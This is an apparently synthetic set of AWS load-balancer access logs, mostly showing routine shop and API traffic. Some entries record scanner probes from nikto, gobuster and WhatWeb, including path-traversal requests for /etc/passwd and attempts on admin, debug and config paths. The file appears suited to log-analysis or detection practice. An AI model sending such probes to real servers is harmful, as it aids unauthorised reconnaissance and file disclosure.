"Root=1-6723b8fd-c05279e8fd8e4c519d5ec3c9" "staging-alb.example.com" "-" 2 2024-11-01T00:06:05.144178Z "forward" "-" "-" "180.248.78.152:80" "200" "-" "-" +https 2024-11-01T00:06:06.219283Z prod-api-alb 187.230.208.193:46916 10.0.128.25:443 0.056847 0.327380 0.090517 200 200 38 3548 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8fe-37bb809217884d4d886cac60" "prod-api-alb.example.com" "-" 2 2024-11-01T00:06:06.219283Z "forward" "-" "-" "10.0.128.25:443" "200" "-" "-" +http 2024-11-01T00:06:07.021279Z staging-alb 224.247.19.162:62447 4.38.155.228:443 0.001880 0.059690 0.069188 200 200 661 7957 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8ff-8e7ab2f58eec4a88b451c5f3" "staging-alb.example.com" "-" 2 2024-11-01T00:06:07.021279Z "forward" "-" "-" "4.38.155.228:443" "200" "-" "-" +https 2024-11-01T00:06:07.959216Z prod-api-alb 10.97.97.45:62646 10.0.150.246:443 0.098743 0.086130 0.038534 200 200 361 6491 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8ff-8d98b57392534d7db5a57e79" "prod-api-alb.example.com" "-" 0 2024-11-01T00:06:07.959216Z "forward" "-" "-" "10.0.150.246:443" "200" "-" "-" +https 2024-11-01T00:06:09.610429Z prod-web-alb 227.148.196.189:32215 10.0.244.78:443 0.053770 0.307656 0.047515 200 200 937 9971 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b901-873e14b7714d44b08a5b6b47" "prod-web-alb.example.com" "-" 5 2024-11-01T00:06:09.610429Z "forward" "-" "-" "10.0.244.78:443" "200" "-" "-" +https 2024-11-01T00:06:11.000728Z staging-alb 151.237.178.186:63167 94.188.45.164:443 0.078511 0.467735 0.063363 200 200 906 5690 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b903-fc7db11d6f5841f3b0a66dd7" "staging-alb.example.com" "-" 1 2024-11-01T00:06:11.000728Z "forward" "-" "-" "94.188.45.164:443" "200" "-" "-" +https 2024-11-01T00:06:12.688998Z prod-api-alb 45.155.205.19:39096 10.0.109.145:443 0.041496 0.363050 0.059463 403 403 80 14534 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b904-9610a72c74f9424eadb4e19e" "-" "-" 4 2024-11-01T00:06:12.688998Z "forward" "-" "-" "10.0.109.145:443" "403" "-" "-" +https 2024-11-01T00:06:14.625528Z prod-api-alb 33.93.215.144:41610 10.0.34.185:443 0.075244 0.094809 0.095326 200 200 212 6255 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b906-8da46c63e3b94a35bc0864c8" "prod-api-alb.example.com" "-" 5 2024-11-01T00:06:14.625528Z "forward" "-" "-" "10.0.34.185:443" "200" "-" "-" +https 2024-11-01T00:06:16.183562Z prod-web-alb 108.87.184.33:37823 10.0.209.183:443 0.003401 0.351402 0.081963 200 200 813 12848 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b908-375c32562f3745cc83942059" "prod-web-alb.example.com" "-" 8 2024-11-01T00:06:16.183562Z "forward" "-" "-" "10.0.209.183:443" "200" "-" "-" +http 2024-11-01T00:06:16.636766Z staging-alb 8.247.34.136:15061 136.28.129.7:443 0.054815 0.713426 0.043690 302 302 650 14251 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b908-6589154d7c974ce18a151c7a" "staging-alb.example.com" "-" 2 2024-11-01T00:06:16.636766Z "forward" "-" "-" "136.28.129.7:443" "302" "-" "-" +http 2024-11-01T00:06:17.899723Z staging-alb 156.106.214.69:22415 116.131.195.158:80 0.128190 0.421764 0.057463 200 200 507 9557 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b909-6009814932ca42d4bea4da89" "staging-alb.example.com" "-" 5 2024-11-01T00:06:17.899723Z "forward" "-" "-" "116.131.195.158:80" "200" "-" "-" +https 2024-11-01T00:06:19.338245Z prod-web-alb 59.186.152.179:11689 10.0.122.50:443 0.087681 0.125841 0.068923 200 200 447 12646 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b90b-6f4aa490eba44e31a4fb6b1d" "prod-web-alb.example.com" "-" 3 2024-11-01T00:06:19.338245Z "forward" "-" "-" "10.0.122.50:443" "200" "-" "-" +https 2024-11-01T00:06:20.587160Z prod-api-alb 132.227.200.189:51912 10.0.151.213:443 0.088962 0.449417 0.050340 302 302 911 6835 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b90c-9a3893bface2447bb19e62ee" "prod-api-alb.example.com" "-" 2 2024-11-01T00:06:20.587160Z "forward" "-" "-" "10.0.151.213:443" "302" "-" "-" +https 2024-11-01T00:06:22.353264Z prod-web-alb 148.210.78.155:10669 10.0.195.30:443 0.095091 0.156011 0.084271 200 200 866 1144 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b90e-d133811d5f6e4eb6bf7d294e" "prod-web-alb.example.com" "-" 3 2024-11-01T00:06:22.353264Z "forward" "-" "-" "10.0.195.30:443" "200" "-" "-" +http 2024-11-01T00:06:24.270707Z staging-alb 238.175.124.201:53639 70.134.110.75:80 0.142354 0.385442 0.035658 200 200 651 9134 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b910-0cb821351a134b72a17c1f89" "staging-alb.example.com" "-" 3 2024-11-01T00:06:24.270707Z "forward" "-" "-" "70.134.110.75:80" "200" "-" "-" +https 2024-11-01T00:06:25.460368Z prod-web-alb 38.24.251.248:47495 10.0.228.146:443 0.066490 0.406123 0.064594 200 200 741 9878 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b911-51c952dcef474314ba966bfa" "prod-web-alb.example.com" "-" 3 2024-11-01T00:06:25.460368Z "forward" "-" "-" "10.0.228.146:443" "200" "-" "-" +http 2024-11-01T00:06:25.951498Z staging-alb 45.155.205.9:52915 170.252.181.131:443 0.028054 0.488476 0.066481 403 403 913 8102 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b911-f313960e5254430ba6e3acb2" "-" "-" 10 2024-11-01T00:06:25.951498Z "forward" "-" "-" "170.252.181.131:443" "403" "-" "-" +https 2024-11-01T00:06:27.767109Z staging-alb 150.194.71.168:60155 62.88.216.183:443 0.060685 0.449828 0.144296 200 200 640 14325 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b913-ac3357fceb0c4bf8b13a3c5b" "staging-alb.example.com" "-" 9 2024-11-01T00:06:27.767109Z "forward" "-" "-" "62.88.216.183:443" "200" "-" "-" +https 2024-11-01T00:06:28.919852Z prod-api-alb 83.100.137.2:45502 10.0.94.139:443 0.009904 0.210253 0.086594 200 200 473 6531 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b914-f33076f607f2406ebdbf79cc" "prod-api-alb.example.com" "-" 9 2024-11-01T00:06:28.919852Z "forward" "-" "-" "10.0.94.139:443" "200" "-" "-" +http 2024-11-01T00:06:30.746189Z staging-alb 205.186.217.88:16426 119.50.129.82:8080 0.062478 0.586039 0.079350 302 302 708 13918 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b916-79062a818a77402d89caabe1" "staging-alb.example.com" "-" 4 2024-11-01T00:06:30.746189Z "forward" "-" "-" "119.50.129.82:8080" "302" "-" "-" +https 2024-11-01T00:06:32.424475Z prod-api-alb 174.8.104.27:37401 10.0.231.136:443 0.031647 0.340501 0.020293 200 200 330 4999 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b918-7ad0a301029848c4907cacbd" "prod-api-alb.example.com" "-" 6 2024-11-01T00:06:32.424475Z "forward" "-" "-" "10.0.231.136:443" "200" "-" "-" +https 2024-11-01T00:06:33.663648Z staging-alb 64.33.195.220:59321 165.134.146.132:80 0.099344 0.588002 0.027981 200 200 232 7766 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b919-a80d1629316a4f3187abf388" "staging-alb.example.com" "-" 5 2024-11-01T00:06:33.663648Z "forward" "-" "-" "165.134.146.132:80" "200" "-" "-" +https 2024-11-01T00:06:34.443946Z prod-web-alb 51.106.49.166:19724 10.0.157.90:443 0.003489 0.373915 0.055335 200 200 773 11587 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b91a-5d7edfb75fad4c58a62cc40a" "prod-web-alb.example.com" "-" 7 2024-11-01T00:06:34.443946Z "forward" "-" "-" "10.0.157.90:443" "200" "-" "-" +https 2024-11-01T00:06:35.854698Z staging-alb 185.181.55.98:61818 65.55.126.108:8080 0.040780 0.498431 0.070019 301 301 970 10331 "POST /administrator HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b91b-dcab9394eacd4dd2b61293ab" "-" "-" 5 2024-11-01T00:06:35.854698Z "forward" "-" "-" "65.55.126.108:8080" "301" "-" "-" +https 2024-11-01T00:06:36.419088Z prod-api-alb 147.231.181.157:47388 10.0.89.105:443 0.007431 0.065345 0.004498 302 302 237 5171 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b91c-f9339983e5f6435681b087d7" "prod-api-alb.example.com" "-" 6 2024-11-01T00:06:36.419088Z "forward" "-" "-" "10.0.89.105:443" "302" "-" "-" +https 2024-11-01T00:06:37.396125Z prod-api-alb 40.218.21.202:23783 10.0.116.213:443 0.062196 0.228984 0.065380 200 200 220 715 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b91d-3be006eb970c4fb1a3008c36" "prod-api-alb.example.com" "-" 1 2024-11-01T00:06:37.396125Z "forward" "-" "-" "10.0.116.213:443" "200" "-" "-" +https 2024-11-01T00:06:38.260305Z prod-web-alb 80.191.99.3:48512 10.0.141.197:443 0.012715 0.015083 0.014344 200 200 651 13361 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b91e-451d3723d7da40dca0bda596" "prod-web-alb.example.com" "-" 7 2024-11-01T00:06:38.260305Z "forward" "-" "-" "10.0.141.197:443" "200" "-" "-" +https 2024-11-01T00:06:38.371430Z prod-api-alb 220.12.124.211:30260 10.0.188.133:443 0.065344 0.189966 0.034747 200 200 120 5156 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b91e-1141c58b13884534a02a0549" "-" "-" 2 2024-11-01T00:06:38.371430Z "forward" "-" "-" "10.0.188.133:443" "200" "-" "-" +https 2024-11-01T00:06:40.273504Z prod-api-alb 29.155.47.37:34470 10.0.48.187:443 0.085245 0.004426 0.053963 200 200 613 5593 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b920-b418161041a848dfbff4a944" "prod-api-alb.example.com" "-" 4 2024-11-01T00:06:40.273504Z "forward" "-" "-" "10.0.48.187:443" "200" "-" "-" +https 2024-11-01T00:06:41.728658Z prod-api-alb 45.155.205.142:12649 10.0.82.20:443 0.092282 0.417853 0.011832 404 404 886 1862 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b921-45fc43b6fbfc4ced8b445633" "-" "-" 5 2024-11-01T00:06:41.728658Z "forward" "-" "-" "10.0.82.20:443" "404" "-" "-" +https 2024-11-01T00:06:42.997596Z staging-alb 18.71.60.56:62714 210.200.159.250:80 0.133411 0.275346 0.068146 302 302 563 13375 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b922-411ab8c0dcd24a47b83819ee" "staging-alb.example.com" "-" 7 2024-11-01T00:06:42.997596Z "forward" "-" "-" "210.200.159.250:80" "302" "-" "-" +http 2024-11-01T00:06:44.840955Z staging-alb 81.31.9.106:57537 159.211.238.126:80 0.051345 0.472663 0.092794 200 200 923 14433 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b924-63cc5175302a48538bf7cc67" "staging-alb.example.com" "-" 6 2024-11-01T00:06:44.840955Z "forward" "-" "-" "159.211.238.126:80" "200" "-" "-" +https 2024-11-01T00:06:45.610396Z prod-api-alb 193.27.228.156:33763 10.0.40.159:443 0.061078 0.292071 0.080059 403 403 849 6888 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b925-327da90c1ba74c96b55b3532" "-" "-" 5 2024-11-01T00:06:45.610396Z "forward" "-" "-" "10.0.40.159:443" "403" "-" "-" +https 2024-11-01T00:06:46.826692Z prod-api-alb 117.41.16.190:14861 10.0.252.63:443 0.091924 0.450055 0.014290 404 404 626 10276 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b926-a33d2bfae2354c3eb0515ce0" "prod-api-alb.example.com" "-" 5 2024-11-01T00:06:46.826692Z "forward" "-" "-" "10.0.252.63:443" "404" "-" "-" +http 2024-11-01T00:06:48.663429Z staging-alb 112.76.118.251:11280 160.98.181.212:80 0.003275 0.002945 0.057716 404 404 604 13086 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b928-4be15c689c66412c8e406c67" "staging-alb.example.com" "-" 2 2024-11-01T00:06:48.663429Z "forward" "-" "-" "160.98.181.212:80" "404" "-" "-" +https 2024-11-01T00:06:49.601907Z prod-api-alb 128.234.76.49:13595 10.0.253.21:443 0.085824 0.238824 0.067445 301 301 864 7308 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b929-b760be86b4404b2084da4418" "prod-api-alb.example.com" "-" 6 2024-11-01T00:06:49.601907Z "forward" "-" "-" "10.0.253.21:443" "301" "-" "-" +https 2024-11-01T00:06:50.903137Z prod-api-alb 58.24.10.62:60169 10.0.104.114:443 0.079575 0.237667 0.070588 200 200 454 4712 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b92a-9bcfe979f28742ac9d5c2220" "prod-api-alb.example.com" "-" 4 2024-11-01T00:06:50.903137Z "forward" "-" "-" "10.0.104.114:443" "200" "-" "-" +https 2024-11-01T00:06:51.600732Z staging-alb 214.58.225.128:62168 178.210.182.18:8080 0.002025 0.164644 0.111933 301 301 492 13609 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b92b-6681cf2eadd44aac9fbc09b5" "staging-alb.example.com" "-" 5 2024-11-01T00:06:51.600732Z "forward" "-" "-" "178.210.182.18:8080" "301" "-" "-" +https 2024-11-01T00:06:52.159821Z prod-web-alb 150.155.23.222:26659 10.0.125.32:443 0.031869 0.033653 0.027991 302 302 878 8549 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b92c-e5b095a1c2474c5d9d4e5854" "prod-web-alb.example.com" "-" 3 2024-11-01T00:06:52.159821Z "forward" "-" "-" "10.0.125.32:443" "302" "-" "-" +https 2024-11-01T00:06:52.936539Z staging-alb 65.102.169.197:25065 222.232.235.77:8080 0.134887 0.325208 0.143294 404 404 65 6942 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b92c-78ccff67363a470b9120ba73" "staging-alb.example.com" "-" 4 2024-11-01T00:06:52.936539Z "forward" "-" "-" "222.232.235.77:8080" "404" "-" "-" +https 2024-11-01T00:06:53.195668Z staging-alb 48.248.200.119:25793 213.52.162.124:80 0.066842 0.261872 0.142141 200 200 885 14002 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b92d-4638f8719a264f779383e94c" "staging-alb.example.com" "-" 0 2024-11-01T00:06:53.195668Z "forward" "-" "-" "213.52.162.124:80" "200" "-" "-" +https 2024-11-01T00:06:53.573337Z staging-alb 185.181.55.98:63871 74.84.50.158:8080 0.132600 0.546709 0.033638 302 302 28 11669 "POST /adminer.php HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b92d-f33209b13fc242789942f291" "-" "-" 1 2024-11-01T00:06:53.573337Z "forward" "-" "-" "74.84.50.158:8080" "302" "-" "-" +https 2024-11-01T00:06:55.011245Z prod-web-alb 250.213.139.146:10774 10.0.156.156:443 0.004954 0.373794 0.007784 200 200 351 3269 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b92f-a57540c1a67a4b6098bee5d2" "prod-web-alb.example.com" "-" 1 2024-11-01T00:06:55.011245Z "forward" "-" "-" "10.0.156.156:443" "200" "-" "-" +https 2024-11-01T00:06:56.561204Z prod-api-alb 155.123.179.161:46617 10.0.254.195:443 0.064466 0.208293 0.096983 200 200 911 12572 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b930-27c4cce9d0c844a5b1b5e413" "prod-api-alb.example.com" "-" 10 2024-11-01T00:06:56.561204Z "forward" "-" "-" "10.0.254.195:443" "200" "-" "-" +https 2024-11-01T00:06:56.695094Z prod-web-alb 22.80.3.26:22788 10.0.240.173:443 0.066299 0.255579 0.082471 404 404 860 12750 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b930-a48d9a96f35549bda1fd6aa0" "prod-web-alb.example.com" "-" 3 2024-11-01T00:06:56.695094Z "forward" "-" "-" "10.0.240.173:443" "404" "-" "-" +https 2024-11-01T00:06:56.852018Z staging-alb 112.141.73.98:48340 51.66.75.116:443 0.144286 0.080600 0.003063 200 200 617 1395 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b930-5a3912dc16d6482da6435903" "staging-alb.example.com" "-" 5 2024-11-01T00:06:56.852018Z "forward" "-" "-" "51.66.75.116:443" "200" "-" "-" +https 2024-11-01T00:06:58.431463Z prod-api-alb 253.61.9.95:15772 10.0.118.120:443 0.058370 0.064329 0.050835 200 200 479 6339 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b932-36698152386246d885247046" "prod-api-alb.example.com" "-" 9 2024-11-01T00:06:58.431463Z "forward" "-" "-" "10.0.118.120:443" "200" "-" "-" +http 2024-11-01T00:07:00.391920Z staging-alb 25.165.95.230:23333 12.86.243.217:80 0.081640 0.061578 0.001746 301 301 199 6392 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b934-7846effad576432a9a195873" "staging-alb.example.com" "-" 7 2024-11-01T00:07:00.391920Z "forward" "-" "-" "12.86.243.217:80" "301" "-" "-" +https 2024-11-01T00:07:01.533781Z prod-web-alb 185.181.55.98:60611 10.0.82.188:443 0.085941 0.238034 0.039558 301 301 972 12653 "POST /config.php~ HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b935-84ac2e402d0e42b88ccfff2b" "-" "-" 9 2024-11-01T00:07:01.533781Z "forward" "-" "-" "10.0.82.188:443" "301" "-" "-" +https 2024-11-01T00:07:01.836513Z staging-alb 156.162.109.89:54725 11.46.224.70:8080 0.094585 0.119457 0.057537 200 200 177 2615 "GET /web/test HTTP/1.1" 